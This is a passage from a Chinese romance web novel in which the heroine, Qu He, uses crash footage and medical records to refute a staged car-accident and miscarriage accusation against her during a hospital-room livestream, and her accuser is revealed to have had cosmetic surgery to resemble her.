曲荷侧头,正好对上庄别宴的目光。
他自然地拉住她的手,看向众人,声音低沉却清晰,“阿荷酒精过敏。”
曲荷点点头。
当时她只是抿了口,就感觉眼眶发酸,便猜想这里有酒精。
她放下酒杯看了眼在人群中游刃有余交谈的燕舒,又看了眼杯子里的冰酿,没有做声。
只是找了个站在角落里的服务员让她帮忙上了一瓶荔枝汁。
曲荷晃了晃手里的荔枝汁瓶,“荔枝汁和冰酿颜色相近,不仔细看根本分辨不出来,所以一晚上,大家都以为我喝的是冰酿。”
“你酒精过敏?”
乔眠瞪大眼,像是听到了什么笑话,尖声反驳,“不可能!你前几年每次应酬的时候,哪次不是喝酒?我亲眼见过你喝到吐,怎么会过敏?”
旁边的钱昭野也愣住了,不自主皱眉。
他脑袋里浮现了公司成立那几年,曲荷陪着他四处应酬,强颜欢笑一杯接着一杯喝酒的场景。
现在她说自己酒精过敏?
钱昭野喉咙发涩,人都快碎了,“是真的吗?”
庄别宴握着曲荷的手骤然一紧。
光是听乔眠说“喝到吐”,就心疼得不行,在看到旁边这个男人惺惺作态的嘴脸,气更是不打一出来。
想到那几年曲荷受的苦,周身气压瞬间低得骇人。
顾聿看着他黑沉的脸色,赶紧给旁边警察使眼色拉开钱昭野。
曲荷根本没给钱昭野留一个眼神。
“那时候每次喝酒前都会吃解酒药,次数多了产生抗药性,身体对酒精的反应变得迟钝,麻木,但是现在....”
她再次看向庄别宴,目光柔软下来。
“现在我老公把我照顾得很好,而且我们最近有备孕的想法。已经很久没接触过酒精,身体抗药性减弱,哪怕只是嘴唇沾到一点也会有反应。”
曲荷这一番解释,彻底击碎了乔眠说的酒驾肇事指控。
钱昭野看着曲荷,心里苦涩难言,整个人失魂落魄。
乔眠是一脸不可置信,面如死灰。
而庄别宴的注意力却全都在“我老公”,“备孕”这两个词上。
他握着曲荷的手力道加重,心里浮起淡淡的期待。
她,想和他有个孩子。
曲荷被他捏得有些疼,蹙眉看了他一眼,不解。
不过是随口编的理由,他怎么这么大反应?
刚才的备孕纯属是她胡诌的,却也是为了可信度高一点。
只是怎么感觉旁边的男人反应不太对。
但眼下不是纠结这个的时候。
曲荷拿着报告走到镜头前,“所有证据都在这里,我没有酒驾!”
乔眠看着她坚定的样子,眼里满是慌乱无措。
她怎么也没想到连酒驾这个最有把握的指控,都能被曲荷轻易推翻。
眼看最大的依仗崩塌,她心里的不安更重了几分,面对镜头也不再像一开始那样坦然,心虚地移开眼。
而被警察拦在角落里的付如月却跟疯了一样,哭喊着:“我才不管你是不是酒驾,你把我孙子弄没了,你没法抵赖,你要偿命!”
是啊,曲荷没有酒驾又如何?
她开车导致车祸,乔眠流产依然是事实。
在场所有人的心都提了起来,直播间里的弹幕也瞬间变了风向,但曲荷脸上却不见慌乱。
第137章 和曲荷有七分像!!!
敲门声响起,两个便衣警察推着移动显示屏进来,后面跟着一个拿着笔记本的技术警员。
他们和顾聿点头示意,开始投放视频。
屏幕亮起,上面播放的正是车祸现场的完整视频。
顾聿拿着遥控笔上前,“乔女士或许在好奇,明明山脚那块位置的监控已经坏了,怎么还会有这个视频。”
他说着哼了声,看向旁边的庄别宴,语气不爽:“这还得感谢我们热心市民庄先生,之前多次提过想合作试用这套设备都没同意。
这次却直接大方捐赠耗资上亿研发的卫星监控设备协助警方,改天一定申请给庄先生颁发个锦旗。”
庄别宴面色不改,淡淡道:“企业社会责任,为人民服务,应该的。”
顾聿咬了牙后槽牙,转身开始讲解。
“可以看到监控...所以,从这段视频可以看到曲荷女士全程都是规范驾驶,没有酒驾,从上车开始就换了平底鞋,更没有超速。整个视频中唯一不合理的就是这辆靠近弯口突然加速的黑色奥迪。”
他说到后面,乔眠的脸色已经不能用惨白来形容。
“根据碰撞痕迹专家分析,”
他拿着激光笔对着奥迪凹陷处,和保时捷车灯掉落的铁皮画了个圈。
“按照当时的角度和车速,奥迪车的损伤程度远远超出合理范围。乔女士,我现在严重怀疑这是一起有预谋的碰瓷。”
碰瓷?
“我..我没有。你胡说!”乔眠彻底慌了,“我听不懂你们在说什么!你们有什么证据说我碰瓷?”
她捂住脸,又对着摄像机哭喊,“我的孩子已经七个月了,已经成型了!所以你们都认为我在用我孩子的命来陷害曲荷吗?我是一个母亲,我现在比谁都难受!我的孩子还那么小,那么小...”
付如月听着已经瘫地了,拍着地板哭天喊地要让曲荷偿命。
场面看着着实让人动容。
直播间里也都是抨击曲荷的评论,显然是被乔眠这个受害方营造的“真情实感”打动了。
庄别宴眼底寒意深了几分,正要上前,却被曲荷轻轻捏了捏手指。
他侧头看她,见她眼神依旧坚定,只好压下怒火,可还是把曲荷往身后护了护。
曲荷上前一步,目光在乔眠的小腹上转了圈,最后停在他带着口罩的下半张脸,“乔眠,你真的觉得,自己配当母亲吗?”
乔眠身体僵了僵,声音小了下去。
曲荷走至床前,手已经抬起,但最后还是顾忌着,在碰到被角前收回了手,“你的孩子真的是今天才没的吗?”
“你....你..你胡说什么?你现在已经开始编造这种理由了吗?..”乔眠哆嗦着说不出来完整的话。
她自以为天衣无缝的计划,在这一刻被彻底击溃。
整个病房,连同直播间都陷入死寂。
“我胡说?”曲荷转头看向顾聿,轻轻点了下头。
门被从外推开,两名警察押着四个人走进来。
为首是脸色灰败的安达,身后跟着的三个男人正是刚才在车祸现场,从救护车上下来的医生。
他们现在脱掉了那身白大褂,穿着常服,心虚地不太抬头。
看到这四个人,乔眠神如死灰,最后一丝力气也被抽走了。
庄别宴一直在旁边观察着曲荷的情绪,在看到她眼里一闪而过的疲惫后,直接走上去把她揽入怀里。
曲荷在他怀里摇摇头,示意自己没事。她脸贴着他的衬衫,汲取着安心的雪松气息。
“从刚才安达打电话时,我就察觉不对劲。”
曲荷从庄别宴怀里退开,目光扫过那四个人,“明知情况紧急,乔眠又是大出血,可他第一个打出的电话却是报警电话,然后才是120。
北城第一医院距离园林景区20公里,可到达现场的速度,居然和只有10公里的警车几乎同时到达?这效率,未免太高了。”
这话一出,言下之意谁都听明白了。
从安达反常颠倒的打电话顺序,再到超速抵达的救护车,这根本就是一场精心策划的局,目的就是为了陷害曲荷!
在场人看乔眠的眼神冷了冷,连刚才那几个对乔眠抱有同情的记者眼里也带上几分谴责不满。
只是还不等在场人消化完这个消息,曲荷拿过另一份报告直接扔到了乔眠床上。
白色纸张散开,最上面的“流产手术证明”几个黑体大字,刺目无比!
“上次我就和你说过,我不会白白惹上麻烦。现在是让我找人帮忙掀开被子,还是你自己下床走两步?”
那几个大字,付如月隔着大老远都看到了。
她“啊”尖叫一声,也不知哪里来的力气挣脱警察,冲到床边抓起报告。
在看清日期后,眼睛瞬间通红,“一周前?所以你上周都没回家是去做流产手术?”
她恶毒地看着乔眠,一把掀开被子,攥住她的手把她拖到了地上。
“我孙子是被你打掉的!你为什么要这么做?为什么要杀掉我孙子?我们钱家哪里对不起你,你要这么狠毒?”
乔眠披头散发趴在地上,口罩在挣扎中歪了一半。
她低着头笑了出来,声音低沉扭曲,像是从地域传来,让人毛骨悚然。
曲荷余光瞥到安达脚步欲上前,而钱昭野却快他一步。
他走到乔眠身前,蹲下身狠狠捏住她的下巴,迫使她抬头承受着自己的怒火,“为什么要这么做?”
他几乎是咬着牙说的,“你告诉我为什么?那是我们的孩子!”
“因为这个孩子,注定生不下来。”曲荷一语中的。
她接过顾聿递来的另一个文件袋,扔到钱昭野脚边。
“里面是乔眠近一年来的整容病历,尤其是近半年,频率明显变高。怀孕期间注射大量含有激素药物,孩子能撑到七个月已经是奇迹。
如果你能停下最后一次修复手术,安心保胎,谁不准还有一丝希望。但是乔眠,你太贪心了,贪心到连亲生骨肉都可以牺牲。”
钱昭野颤抖着手,捡起地上的报告,一张张翻过去,纸被他攥着皱起变形。
“所以你不是因为过敏戴口罩,而是因为整容?”
他一把扔掉报告,掐着乔眠的下巴摘掉了口罩。
当乔眠那张脸暴露在镜头下时,在场的人都倒吸一口冷气。
所有人的目光都不由自主在乔眠和曲荷的脸上来回移动。
她那张脸,居然和曲荷有七分像!